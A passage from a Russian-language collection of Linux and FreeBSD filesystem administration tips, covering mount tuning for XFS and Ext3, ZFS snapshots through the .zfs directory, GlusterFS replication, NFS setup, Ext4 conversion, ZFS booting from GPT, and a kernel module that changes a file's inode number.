    
    Если XFS необходимо оптимизировать для работы с большими файлами, то число
    Allocation Group нужно выбирать исходя из принципа - одна группа на одно ядро CPU.
    
    Оптимизация на этапе монтирования:
    
    XFS:
       noatime,nodiratime,attr2,nobarrier,logbufs=8,logbsize=256k,osyncisdsync
    
    при этом,  nobarrier указываем только для хранилищ класса High-End, а
    osyncisdsync не нужно указывать при работе СУБД.
    
    Ext3:
    
       noatime,nodiratime,async,commit=1,data=journal,reservation
    
    при этом, опция async не подходит для СУБД,  commit=1 и data=journal можно
    указать для высоконагруженных серверов. Опция reservation (предварительное
    выделение inode для содержимого создаваемых директорий) работает начиная с ядра
    2.6.13 и позволяет увеличить производительность при многопоточной записи, но
    постепенно приводит к накоплению паразитной фрагментации в ФС.
    
     
    ----* Малоизвестный, но чрезвычайно удобный способ работы со снапшотами в ZFS (доп. ссылка 1)   [комментарии]
     
    Интересный способ работы со снапшотами ZFS без использования команд zfs, причем
    метод можно использовать не только с локальной машины, но и с удаленной.
    
    Работа локально.
    
    Создаем временный ZFS пул для тестирования:
    
        jmoekamp@opensolaris1:/testpool1# zpool create -f testpool1 /export/home/jmoekamp/test
    
    Переходим в данную директорию и создаем небольшой файл для подтверждения
    работоспособности снапшотов:
    
        jmoekamp@opensolaris1:/# cd testpool1
        jmoekamp@opensolaris1:/testpool1# touch testfile1
        jmoekamp@opensolaris1:/testpool1# ls 
        testfile1
    
    Для просмотра ранее созданных снапшотов можно использовать путь .zfs/snapshot
    (снапшотов нет, директория пуста):
    
        jmoekamp@opensolaris1:/testpool1# cd /testpool1/.zfs/snapshot
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot#
    
    Но самое интересное, что через манипуляцию файлами в директории .zfs можно
    создавать, переименовывать и удалять снапшоты ! Без вызова zfs-команд, просто
    манипулируя файлами.
    
    Создадим в директории .zfs поддиректорию:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# mkdir snapshot-21042010-1
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-1       0      -    22K  -
    
    Как видим, автоматически был создан новый снапшот файловой системы.
    Проверить данный факт можно создав в основном дереве ZFS дополнительный файл:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# ls -l /testpool1
        total 1
        -rw-r--r-- 1 root root 0 2010-04-21 17:42 testfile1
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# touch /testpool1/testfile2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# ls -l /testpool1
        total 1
        -rw-r--r-- 1 root root 0 2010-04-21 17:42 testfile1
        -rw-r--r-- 1 root root 0 2010-04-21 17:45 testfile2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# cd snapshot-21042010-1/
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot/snapshot-21042010-1# ls -l
        total 1
        -rw-r--r-- 1 root root 0 2010-04-21 17:42 testfile1
    
    Переименуем директорию со снапшотом при помощи обычной команды mv, при этом
    автоматически будет переименован и снапшот:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# mv snapshot-21042010-1 snapshot-21042010-1.1
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-1.1    19K      -    22K  -
    
    Создаем еще один снапшот:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# mkdir snapshot-21042010-2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-1.1    19K      -    22K  -
        testpool1@snapshot-21042010-2        0      -    22K  -
    
    Как видно внутри уже два файла, в отличие от одного в первом примере.
    
    Для удаления снапшота достаточно удалить связанную с ним директорию:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# rmdir snapshot-21042010-1.1 
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# ls -l
        total 2
        drwxr-xr-x 2 root root 4 2010-04-21 17:45 snapshot-21042010-2
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep testpool1
        testpool1@snapshot-21042010-2     18K      -    22K  -
    
    
    Удаленное управление снапшотами
    
    Для управления снапшотами с другой машины можно использовать ssh или NFS.
    
    Экспортируем ZFS-раздел по NFS:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs set sharenfs=on testpool1
    
    Монтируем данный NFS раздел с другой машины (в примере используем в качестве
    имени хоста NFS-клиента hivemind):
    
        jmoekamp@hivemind:~$ pfexec mount 192.168.2.123:/testpool1 /mnt
        jmoekamp@hivemind:~$ cd /mnt
        jmoekamp@hivemind:/mnt$ cd .zfs
        jmoekamp@hivemind:/mnt/.zfs$ ls
        shares    snapshot
        jmoekamp@hivemind:/mnt/.zfs$ cd snapshot
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ ls
        snapshot-21042010-2
    
    Как и в случае с локальной системой, манипуляции с поддиректориями в
    директории .zfs в примонтированном NFS-разделе приводят к манипуляции со
    снапшотами на другой машине.
    
    Предварительно предоставляем пользователю jmoekamp право создавать,
    переименовывать и удалять снапшоты на базовом сервере opensolaris1:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs allow -u jmoekamp create,destroy,mount,snapshot testpool1
    
    Пробуем создать снапшот, примонтировав NFS под пользователем jmoekamp:
    
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ mkdir snapshot-remote-21042010
    
    Проверяем: 
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep "testpool1"
        testpool1@snapshot-21042010-2         18K      -    22K  -
        testpool1@snapshot-remote-21042010      0      -    22K  -
    
    Пробуем переименовать:
    
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ mv snapshot-remote-21042010 snapshot-remote-21042010-2
    
    Проверяем, что это не обман зрения и  все действительно работает:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep "testpool1"
        testpool1@snapshot-21042010-2           18K      -    22K  -
        testpool1@snapshot-remote-21042010-2      0      -    22K  -
    
    Пробуем удалить снапшот:
    
        jmoekamp@hivemind:/mnt/.zfs/snapshot$ rmdir snapshot-remote-21042010-2/
    
    Проверяем на сервере:
    
        jmoekamp@opensolaris1:/testpool1/.zfs/snapshot# zfs list -t snapshot | grep "testpool1"
        testpool1@snapshot-21042010-2     18K      -    22K  -
    
     
    ----* Отказоустойчивое хранилище с автоматической репликацией на базе GlusterFS (доп. ссылка 1)   Автор: petrov.pash  [комментарии]
     
    Инструкция по создании зеркалируемого (реплицированного) между двумя машинами
    хранилища файлов на базе GlusterFS (http://www.gluster.com/) и Ubuntu 9.10.
    Добавляемый в созданное хранилище файл на первом сервере буде сразу доступен на
    втором и наоборот, при этом данные на каждой машине будут использоваться из
    локального раздела, что обеспечивает значительно более высокую
    производительность, по сравнению с NFS. С особенности кластерной файловой
    системы GlusterFS можно познакомиться на данной странице.
    
    В рассматриваемой конфигурации задействованы три машины: два сервера
    (server1.example.com/192.168.0.100, server2.example.com/192.168.0.101) и один
    клиент (client1.example.com: IP адрес 192.168.0.102). Серверы выступают в роли
    машин для экспорта дисковых разделов, доступ к отказоустойчивому хранилищу
    осуществляется на стороне клиента.
    
    В представленном примере серверы и клиент размещены на разных машинах, но в
    реальных условиях клиентские и серверные составляющие обычно совмещены  на
    одной машине. Соответствующую конфигурацию можно сгенерировать при помощи
    утилиты glusterfs-volgen.
    
    Установка серверной части GlusterFS на server1.example.com и server2.example.com:
    
    Так как GlusterFS доступен в стандартном репозитории Ubuntu 9.10, достаточно
    выполнить (сейчас и далее все действия выполняются под пользователем root):
    
       apt-get install glusterfs-server
    
    Для организации хранилища на сервере будем использовать каталог /data/export.
    
    Приводим файл конфигурации /etc/glusterfs/glusterfsd.vol на серверах в следующий вид:
    
       volume posix
        type storage/posix
        option directory /data/export
       end-volume
    
       volume locks
        type features/locks
        subvolumes posix
       end-volume
    
       volume brick
        type performance/io-threads
        option thread-count 8
        subvolumes locks
       end-volume
    
       volume server
        type protocol/server
        option transport-type tcp
        # далее через запятую нужно перечислить IP или имена хостов клиентов
        # можно использовать маски вида 192.168.*,
        option auth.addr.brick.allow 192.168.0.102 
        subvolumes brick
       end-volume
    
    Запускаем сервер GlusterFS:
    
       /etc/init.d/glusterfs-server start
    
    
    Настройка клиента GlusterFS
    
    Для установки клиентской части GlusterFS выполняем:
    
       aptitude install glusterfs-client glusterfs-server
    
    Хранилище будем монтировать в каталог /mnt/glusterfs.
    
    Приводим файл конфигурации клиента /etc/glusterfs/glusterfs.vol в следующий вид:
    
       volume remote1
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.100 # server1.example.com
        option remote-subvolume brick
       end-volume
    
       volume remote2
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.101 # server2.example.com
        option remote-subvolume brick
       end-volume
    
       volume replicate
        type cluster/replicate
        subvolumes remote1 remote2
       end-volume
    
       volume writebehind
        type performance/write-behind
        option window-size 1MB
        subvolumes replicate
       end-volume
    
       volume cache
        type performance/io-cache
        option cache-size 512MB
        subvolumes writebehind
       end-volume
    
    
    Монтируем файловую систему GlusterFS в каталог /mnt/glusterfs:
    
       glusterfs -f /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    или
       mount -t glusterfs /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    
    Для автоматизации монтирования во время загрузки в /etc/fstab сдедует добавить:
    
       /etc/glusterfs/glusterfs.vol  /mnt/glusterfs  glusterfs  defaults  0  0
    
    Тестирование
    
    Создаем в GlusterFS разделе на стороне клиента несколько файлов:
    
       touch /mnt/glusterfs/test1
       touch /mnt/glusterfs/test2
    
    Эти файла сразу должны появиться на серверах в каталоге /data/export
    
    Выключим первый сервер и добавить на стороне клиента еще несколько файлов:
    
       touch /mnt/glusterfs/test3
       touch /mnt/glusterfs/test4
       rm -f /mnt/glusterfs/test2
    
    Изменения должны появиться на втором сервере.
    
    Включим первый сервер и увидим, что данные на нем неактуальны. Изменения будут
    синхронизированы автоматически, для инициирования синхронизации на стороне
    клиента достаточно выполнить любую операцию с разделом, например, посмотреть
    содержимое через "ls -l /mnt/glusterfs/".
    
    
    GlusterFS в роли замены NFS с поддержкой кэширования.
    
    Чтобы примонтировать раздел в NFS-подобном виде, без репликации, достаточно
    добавить в конфигурации сервера в блоке "volume locks" опцию "option
    mandatory-locks on". На стороне клиента нужно закомментировать в конфигурации
    блок "volume replicate" и  убрать блок, описывающий вторую реплицируемую
    директорию "volume remote2". В секции "volume writebehind" на стороне клиента
    при этом заменяем опцию "subvolumes replicate" на "subvolumes remote", а также
    можем уменьшить размер окна до 1 Мб ("option window-size 1MB").
    
    Создание распределенного на 4 узла хранилища
    
    При реализации хранилища, распределенного на 4 узла, настройка производится
    аналогично, по аналогии с remote2 добавляются разделы remote3 и remote4. Вместо
    "volume replicate" добавляется раздел "volume distribute":
    
       ...
       volume remote3
         type protocol/client
         option transport-type tcp
         option remote-host server3.example.com
         option remote-subvolume brick
       end-volume
    
       volume remote4
         type protocol/client
         option transport-type tcp
         option remote-host server4.example.com
         option remote-subvolume brick
       end-volume
    
       volume distribute
         type cluster/distribute
         subvolumes remote1 remote2 remote3 remote4
       end-volume
       ...
    
    В блоке "volume writebehind" приписывается "subvolumes distribute".
    
    Конфигурацию можно сгенерировать автоматически, например, запустив на одном из серверов:
    
       glusterfs-volgen --name repstore1 --raid 1 hostname1:/export/sdb1 \
         hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    При надлежащей настройке параметров доступа к серверам все параметры
    конфигурации серверных и клиентских составляющих на всех машинах
    распределенного хранилища будут обновлены автоматически. Для систем не
    поддерживающих GlusterFS доступ к хранилищу можно организовать через NFS, SMB
    или WebDAV.
    
     
    ----* Монтирование VFAT в Linux как в Windows   Автор: Bill Routers  [комментарии]
     
    Возможно, повторюсь, но, на мой взгляд, кому-нибудь будет полезно.
    
    Локаль - ru_RU.UTF-8
    Проверено Ubuntu 8.04, Debian 5.0.3.
    
    Путем "долгих исследований" получил следующие опции монтирование раздела FAT.
    
       /dev/sdf1  /media/usb  vfat rw,async,flush,users,noatime,noauto,utf8,codepage=866,check=r,\
       quiet,showexec,shortname=winnt 0	0
    
    Главное это опции: utf8,codepage=866,check=r.
    По умолчанию они не задействованы.
    Без них "vfat" ведет себя не так как Windows XP Rus,
    позволяя создавать файлы по русски в разном регистре.
    Саша <> САша <> саша <> СашА.
    Конечно, можно создавать файлы "only English",
    но не всегда это удобно и возможно, особенно при копировании.
    
     
    ----* Изменение номера inode файла в Linux   Автор: Victor Leschuk  [комментарии]
     
    Для некоторых специфических целей может понадобиться изменить номер inode у существующего файла, 
    либо создать файл с заранее заданным номером. Штатными средствами сделать это -
    задача нетривиальная,
    однако с помощью модуля ядра это несложно. 
    
    Создаем файл inode_modify.c следующего содержания: 
    
     #include <linux/module.h>
     #include <linux/kernel.h>
     #include <linux/version.h>
    
     #include <linux/fs.h>
     #include <linux/namei.h>
    
     #ifndef BUF_LEN
     #define BUF_LEN 256
     #endif
    
     char file[BUF_LEN];
     unsigned long new_num=0;
    
     module_param_string( name, file, BUF_LEN, 0);
     module_param(new_num, ulong, 0);
    
    
     struct nameidata nd;
    
     unsigned long get_number() {
    	int error;
    	error = path_lookup( file, 0, &nd);
    	printk( KERN_ALERT "name = %s\n", file);
    	if(error) {
    		printk( KERN_ALERT "Can't access file\n");
    		return -1;
    	}
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
    
     unsigned long set_number(unsigned long new_num) {
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	nd.path.dentry->d_inode->i_ino = new_num;
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	nd.dentry->d_inode->i_ino = new_num;
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
     int inode_modify_init(){
    	unsigned long inode_num;
    	inode_num = get_number();
    	printk ( KERN_ALERT "Inode number is %lu\n", inode_num);
    	printk ( KERN_ALERT "New inode number is %lu\n",  set_number(new_num));
    	return 0;
     }
    
     void inode_modify_exit(){
    	printk(KERN_ALERT "Exiting...\n"); 
     }
    
     module_init(inode_modify_init);
     module_exit(inode_modify_exit);
    
     MODULE_LICENSE("GPL");
     MODULE_AUTHOR("Victor Leschuk <Victor.Leschuk@ebanat.com>");
    
    И простой Makefile: 
    
     obj-m := inode_modify.o
    
    После чего в директории с модулем: 
    
     $ make -C  /path/to/kernel/sources SUBDIRS=$PWD modules
    
    Здесь нужно помнить, что исходники и версия gcc должны соответствовать тем, 
    которые были использованы при сборке используемого ядра.
    
    Далее тестируем модуль: 
    
     $ touch /dev/shm/test
     $ ls -i /dev/shm/test
     172461 /dev/shm/test
     $ sudo insmod ./inode_modify.ko name=/dev/shm/test new_num=12345
     $ ls -i /dev/shm/test
     12345 /dev/shm/test
     $ sudo rmmod inode_modify 
     $ dmesg |tail
     name = /dev/shm/test
     Inode number is 172461
     New inode number is 12345
     Exiting...
    
     
    ----* Настройка NFS сервера и клиента в Debian Lenny (доп. ссылка 1) (доп. ссылка 2)   Автор: Сгибнев Михаил  [комментарии]
     
    1. Вводные данные
    
       * NFS Server: server.example.com, IP address: 192.168.0.100
       * NFS Client: client.example.com, IP address: 192.168.0.101
    
    2 Установка NFS
    
    На машине, выступающей в роли NFS сервера, выполняем:
    
       apt-get install nfs-kernel-server nfs-common portmap
    
    На машине, выступающей в роли NFS клиента, выполняем:
    
       apt-get install nfs-common portmap
    
    3. Экспортируем каталоги с сервера
    
    Для того чтобы сделать доступными для клиентов каталоги /home и /var/nfs необходимо 
    предпринять следующие нехитрые действия.
    
    Когда клиент получает доступ к общему NFS ресурсу, то обычно это случается с
    правами пользователя nobody.
    Владельцем каталога /home nobody не является (и я не рекомендую это менять), а
    поскольку мы хотим иметь
    права на чтение и запись в /home, то нам необходимо указать NFS работать с
    правами пользователя root
    (если /home будет доступен только для чтения, то в этом нет необходимости). Каталог /var/nfs не 
    существует, поэтому мы его создадим и назначим владельцем nobody и nogroup:
    
       mkdir /var/nfs
       chown nobody:nogroup /var/nfs
    
    Теперь необходимо отредактировать файл /etc/exports, в котором указываются общие ресурсы. 
    Мы укажем в нем /home и /var/nfs, при этом доступ к /home будет осуществляться
    с правами пользователя root.
    
    
       # /etc/exports: the access control list for filesystems which may be exported
       #               to NFS clients.  See exports(5).
       #
       # Example for NFSv2 and NFSv3:
       # /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
       #
       # Example for NFSv4:
       # /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
       # /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
       #
       /home           192.168.0.101(rw,sync,no_root_squash,no_subtree_check)
       /var/nfs        192.168.0.101(rw,sync,no_subtree_check)
    
    Для получения дополнительной информации, воспользуйтесь командой man 5 exports.
    
    Для того, чтобы изменения вступили в силу, выполните команду:
    
       exportfs -a
    
    4. Монтируем NFS ресурс на клиенте
    
     Создаем каталоги, куда мы будем монтировать шары NFS:
    
       mkdir -p /mnt/nfs/home
       mkdir -p /mnt/nfs/var/nfs
    
    Монтируем:
    
       mount 192.168.0.100:/home /mnt/nfs/home
       mount 192.168.0.100:/var/nfs /mnt/nfs/var/nfs
    
    Проверяем:
    
       client:~# df -h
       Filesystem            Size  Used Avail Use% Mounted on
       /dev/mapper/vg0-root   19G  676M   17G   4% /
       tmpfs                 253M     0  253M   0% /lib/init/rw
       udev                   10M   80K   10M   1% /dev
       tmpfs                 253M     0  253M   0% /dev/shm
       /dev/sda1             471M   20M  427M   5% /boot
       192.168.0.100:/home    29G  684M   27G   3% /mnt/nfs/home
       192.168.0.100:/var/nfs 29G  684M   27G   3% /mnt/nfs/var/nfs
    
    И:
    
       client:~# mount
       /dev/mapper/vg0-root on / type ext3 (rw,errors=remount-ro)
       tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
       proc on /proc type proc (rw,noexec,nosuid,nodev)
       sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
       udev on /dev type tmpfs (rw,mode=0755)
       tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
       devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)  /dev/sda1 on /boot type ext3 (rw)
       192.168.0.100:/home on /mnt/nfs/home type nfs (rw,addr=192.168.0.100)
       192.168.0.100:/var/nfs on /mnt/nfs/var/nfs type nfs (rw,addr=192.168.0.100)
    
    5. Проверка
    
    На клиенте создадим несколько файлов:
    
       touch /mnt/nfs/home/test.txt
       touch /mnt/nfs/var/nfs/test.txt
    
    Зайдем на сервер и полюбуемся на результат:
    
       server:~# ls -l /home/
       total 4
       drwxr-xr-x 2 administrator administrator 4096 2009-02-16 13:18 administrator
       -rw-r--r-- 1 root          root             0 2009-03-12 17:08 test.txt
    
       server:~# ls -l /var/nfs
       total 0
       -rw-r--r-- 1 nobody nogroup 0 2009-03-12 17:08 test.txt
       server:~#
    
    Обратите внимание на то, что владельцы файлов различаются.
    
    6 Монтирование ресурсов NFS во время загрузки
    
    Вместо ручного монтирования шар, вы можете указать их в файле /etc/fstab для автоматического 
    монтирования во время начальной загрузки.
    
       vi /etc/fstab
       [...]
       192.168.0.100:/home  /mnt/nfs/home   nfs      rw,sync,hard,intr  0     0
       192.168.0.100:/var/nfs  /mnt/nfs/var/nfs   nfs    
    
    Вместо опций rw,sync,hard,intr вы можете использовать что-то другое, для получения дополнительной 
    информации, обратитесь к man nfs.
    
    Для проверки правильности монтирования перезагрузите систему. После этого в
    очередной раз проверим результат:
    
      df -h
    
     
    ----* Перевод существующего раздела на файловую систему Ext4 (доп. ссылка 1)   [комментарии]
     
    Для создания нового Ext4 раздела в e2fsprogs пакете присутствует утилита mkfs.ext4. 
    Рекомендуется обновить e2fsprogs до последней версии, минимум до 1.41.3.
    
    Для перевода Ext3 в Ext4, необходимо отмонтировать раздел (в нашем случае /dev/sda5) и выполнить:
    
       tune2fs -O extents,uninit_bg,dir_index /dev/sda5
    
    После выполнения данной команды обязательно (!) нужно запустить fsck,
    если этого не сделать файловая система не примонтируется.
    Во время выполнения fsck будет выведено сообщение о некорректной контрольной суммы
    группы дескрипторов, но это нормально, можно смело соглашаться с изменениями.
    
          fsck -pf /dev/sda5
    
    Старые файлы после преобразования останутся привязанными к старому методу мапинга блоков. 
    Для задействования экстентов (extent) необходимо провести дефрагментацию, в чем
    может помочь утилита defrag.
    
    Существующий Ext3 также можно примонитровать Ext4 драйвером, в этом случае не будут задействованы 
    изменения связанные с форматом хранения данных, а включатся только внутренние оптимизации, 
    такие как отложенное распределение информации (Delayed allocation) и mballoc.
    
       mount -t ext4 /dev/yourpartition /mnt"
    
    Список новшеств файловой системы Ext4 можно посмотреть на странице http://wiki.opennet.ru/Ext4
    
     
    ----* Настройка загрузки ZFS с GPT-раздела во FreeBSD и создание зеркала (доп. ссылка 1)   Автор: unknown  [комментарии]
     
    Во FreeBSD 8-CURRENT недавно появилась поддержка загрузки ядра с ZFS,
    а сама файловая система была обновлена до версии 13. Процесс
    развертывания ZFS с возможностью загрузки с нее очень простой:
    
    1. Собираете world с LOADER_ZFS_SUPPORT и kernel с поддержкой gpart(8):
    
    	# добавляем в make.conf(5) опцию поддержки ZFS для loader(8)
    	echo LOADER_ZFS_SUPPORT=yes >>/etc/make.conf
    
    	# собираем world... нет, только loader(8) и загрузочный код
    	cd /usr/src/sys/boot
    	make cleandir; make cleandir
    	make obj depend all install
    
    	# добавляем поддержку таблиц разделов для gpart(8)
    	cat MYKERNEL
    	include		GENERIC
    	nooption	GEOM_BSD
    	nooption	GEOM_MBR
    	options		GEOM_PART_BSD
    	options		GEOM_PART_MBR
    	options		GEOM_PART_GPT
    
    	# собираем kernel
    	make kernel KERNCONF=MYKERNEL -C/usr/src
    
    2. Размечаете первый диск командой gpart(8) на несколько разделов, из
       которых обязательны только freebsd-boot и freebsd-zfs:
    
    	# создаем таблицу разделов типа GPT на диске ad0
    	gpart create -s GPT ad0
    
    	# добавляем загрузочный код, позволяющий загружаться с GPT разделов
    	gpart bootcode -b /boot/pmbr ad0
    
    	# создаем раздел для кода загрузки loader(8)'а с раздела GPT
    	gpart add -b 34 -s 256 -t freebsd-boot ad0
    
    	# записываем загрузочный код на него
    	gpart bootcode -p /boot/gptzfsboot -i 1 ad0
    
    	# создаем swap раздел для возможности использовать его
    	# в качестве dumpdev, т.к. делать kernel dump'ы на zvol'ах
    	# невозможно
    	gpart add -b 290 -s 2097152 -t freebsd-swap ad0
    
    	# создаем основной раздел для ZFS
    	gpart add -b 2097442 -s 232344173 -t freebsd-zfs ad0
    
    	# смотрим на результат
    	gpart show
    	=>       34  234441581  ad0  GPT  (112G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    2097152    2  freebsd-swap  (1.0G)
    	    2097442  232344173    3  freebsd-zfs  (111G)
    
    3. Создаете pool для ZFS на первом разделе и загружаетесь с него:
    
    	# создаем pool с именем `h', выключенном поддержкой
    	# времени последнего доступа и включенным сжатием данных
    	zpool create -O atime=off -O compression=on h ad0p3
    
    	# создаем необходимые dataset'ы
    	zfs create -p -o setuid=off -o utf8only=on h/usr/home
    	zfs create -o sharenfs='-alldirs -webnfs' h/usr/ports
    	zfs create -o atime=on h/var
    	zfs create -o readonly=on h/var/empty
    
    	# населяем pool[1]
    	rsync -aHS --del --fileflags --filter 'merge migrate.rsync' / /h/
    
    	# перезагружаемся
    	shutdown -r now
    
    	# загружаемся *не* с ZFS в single-user режим (loader prompt)
    	boot -s
    
    	# меняем точку монтирования pool'а на корень
    	/etc/rc.d/hostid restart
    	/sbin/zfs set mountpoint=/ h
    
    	# перезагружаемся
    	/sbin/reboot
    
    	# загружаемся с ZFS (loader prompt)
    	load zfs
    	set vfs.root.mountfrom=zfs:h
    	boot
    
    	# добавляем в loader.conf(5) поддержку zfs и точку
            # монтирования / (корня)
    	echo zfs_load=YES >>/boot/loader.conf
    	echo vfs.root.mountfrom=\"zfs:h\" >>/boot/loader.conf
    
    4. Повторяете шаг 1 для второго диска и подсоединяете его к "зеркалу":
    
    	# Размечаем диск с учетом того, что количество блоков
            # у freebsd-zfs должно быть такое же, как и на первом диске.
    	# В даннном примере - 484200428.
    	=>       34  488394988  ad0  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4194304    2  freebsd-swap  (2.0G)
    	    4194594  484200428    3  freebsd-zfs  (231G)
    
    	=>       34  488397101  ad1  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4196417    2  freebsd-swap  (2.0G)
    	    4196707  484200428    3  freebsd-zfs  (231G)
    
    	# подсоединяете его к pool'у как элемент зеркала
    	# (не перепутайте с *add*)
    	zpool attach h ad0p3 ad1p3
    
    	# смотрим на результат
    	zpool status
    	  pool: h
    	 state: ONLINE
    	 scrub: none requested
    	config:
    
    		NAME        STATE     READ WRITE CKSUM
    		h           ONLINE       0     0     0
    		  mirror    ONLINE       0     0     0
    		    ad0p3   ONLINE       0     0     0
    		    ad1p3   ONLINE       0     0     0
    
    	errors: No known data errors
    
    Примечание: Тест проводился на 14 версии и с использованием
    вот этого патча - http://pastebin.com/f3d2089f3
    
    [1] пример migrate.rsync:
    	exclude .ccache
    	exclude /h
    	exclude /dev
    	exclude /nfs
    	exclude /tmp
    	exclude /var/emtpy
    	exclude /var/run
    
    Стоит не забыть потом создать эти директории в /h с соответствующими правами
    на них. В частности без /dev система не загрузится.
    
     
    ----* Клонирование дисков во FreeBSD, используя снапшоты ФС   [комментарии]
     
    Создаем снапшот test1 раздела /home
    
       mount -v -u -o snapshot /home/snapshot/test1 /home
    
    или другой метод:
    
       mksnap_ffs /home /home/snapshot/test1
    
    Привязываем снапшот к устройству /dev/md1:
    
       mdconfig -a -t vnode -f /home/snapshot/test1 -u 1
    
    При необходимости снапшот можно смонтировать и посмотреть его содержимое:
    
       mount -o ro /dev/md1 /mnt
       ....
       umount /mnt
    
    Копируем содержимое раздела на второй диск:
    
       dd if=/dev/md1 of=/dev/ad4s1f bs=16k
    
    Отключаем снапшот
    
       mdconfig -d -u 1
    
    Выполняем fsck на новом разделе:
    
       fsck -f /dev/ad4s1f
    
     
    ----* Оптимизация структуры директорий в файловых системах ext2 и ext3 (доп. ссылка 1)   [обсудить]
     
    Опция "-D" утилиты e2fsck позволяет выполнить переиндексацию при использовании
    dir_index (tune2fs -O +dir_index),
    иначе выполнить перекомпановку с сортировкой (когда было создано или удалено 
    большое количество директорий) и сокращением размера (когда в
    директории было много файлов, а потом их удалили).
    
    Пример запуска (/dev/sdb1 должен быть отмонтирован или переведен в режим только для чтения):
       # e2fsck -D -f /dev/sdb1
    
     
    ----* Обзор сетевых и кластерных ФС: Lustre, GFS, AFS, GFarm (доп. ссылка 1)   Автор: johnjoy  [комментарии]
     Lustre - кластерная ФС, AFS - сетевая ФС.

    Если подробнее - то AFS относится примерно к тому классу, в котором сидят NFS, SMB, и win2K3 DFS. Основная их задача - качественный доступ к различным (раскиданным по сети) ресурсам, с соблюдением блокировок и напором на контроль доступа и централизованное управление. Здесь четко прослеживается модель "клиент-сервер" - большинство участников сетовой ФС являются клиентами, а под шары выделяются чаще отдельные серваки. С точки зрения производительности для такой ФС критериями являются пропускная способность сервер-клиент и количество поддерживаемых коннектов. Масштабируется такая ФС вертикально - более шустрым железом. Надежность тоже поддерживается на уровнях ниже сетевой ФС (RAID, репликация средствами ОС и администратором 24/7 на мобильном =)

    Кластерных ФС известно негусто - навскидку Lustre, Google FS (+Hadoop), что-то было у IBM.

    Отличительная особенность - все участники ФС унифицированы и являются и серверами и клиентами ФС (это именно особенности реализации, конечно же можно и настроить для работы как "несколько серверов - много клиентов", но преимуществ в этом случае не получите, скорее наоборот)

    Обычный принцип действия - работа на уровне блоков: разбитый на блоки файл "размазывается" по нескольким серверам, при его чтении клиент сам собирает блоки в файл. (Комментарий Алексея: Это Google FS & RedHat GFS.. в люстре оперируют понятием объект).

    Критерии оценки таких ФС - общая пропускная способность ФС кластера (то есть сколько гб/с крутится в пределах кластера) и латентность (задержка между запросом файла и его получением). Также тут важна надежность - все блоки реплицируются на уровне ФС, вылет нода не сказывается на работе кластера.

    ФС этого класса очень разные. Lustre заточена под hiperf вычисления с низкой латентностью, посему пользуют что-нить типа InfiniBand и нестандартные MPI. Lustre замонтированая представляет из себя слегка урезaную ext3 для 2.4 ядер, для 2.6 используется ldiskfs которая значительно ближе к ext4.

    Google FS и Hadoop - вообще с классической точки зрения не ФС, ибо ничего не монтируют а предоставляют RPC API для разработчиков. Рассчитаны они на гигантские объемы информации, работу в основном на чтение большими блоками (в мегабайтах, стандартный блок такой ФС - 32-64Мб) и в очень больших количествах.

    Также есть shared storage FS - эти нужны при работе нескольких (многих) серверов с внешними дисковыми массивами. Основная задача - обеспечить быструю и правильную блокировку совместного доступа (via SAN, iSCSI, SCSI). Без них фактически каждый сервер должен работать со своим личным выделенным на массиве разделом. Из известных - GFS от RedHat, Oracle Cluster File System, PolyServe и Veritas CFS.

    RedHat GFS - раздает raw девайс и пытается управлять блокировками на уровне блоков, без учета логической организации.

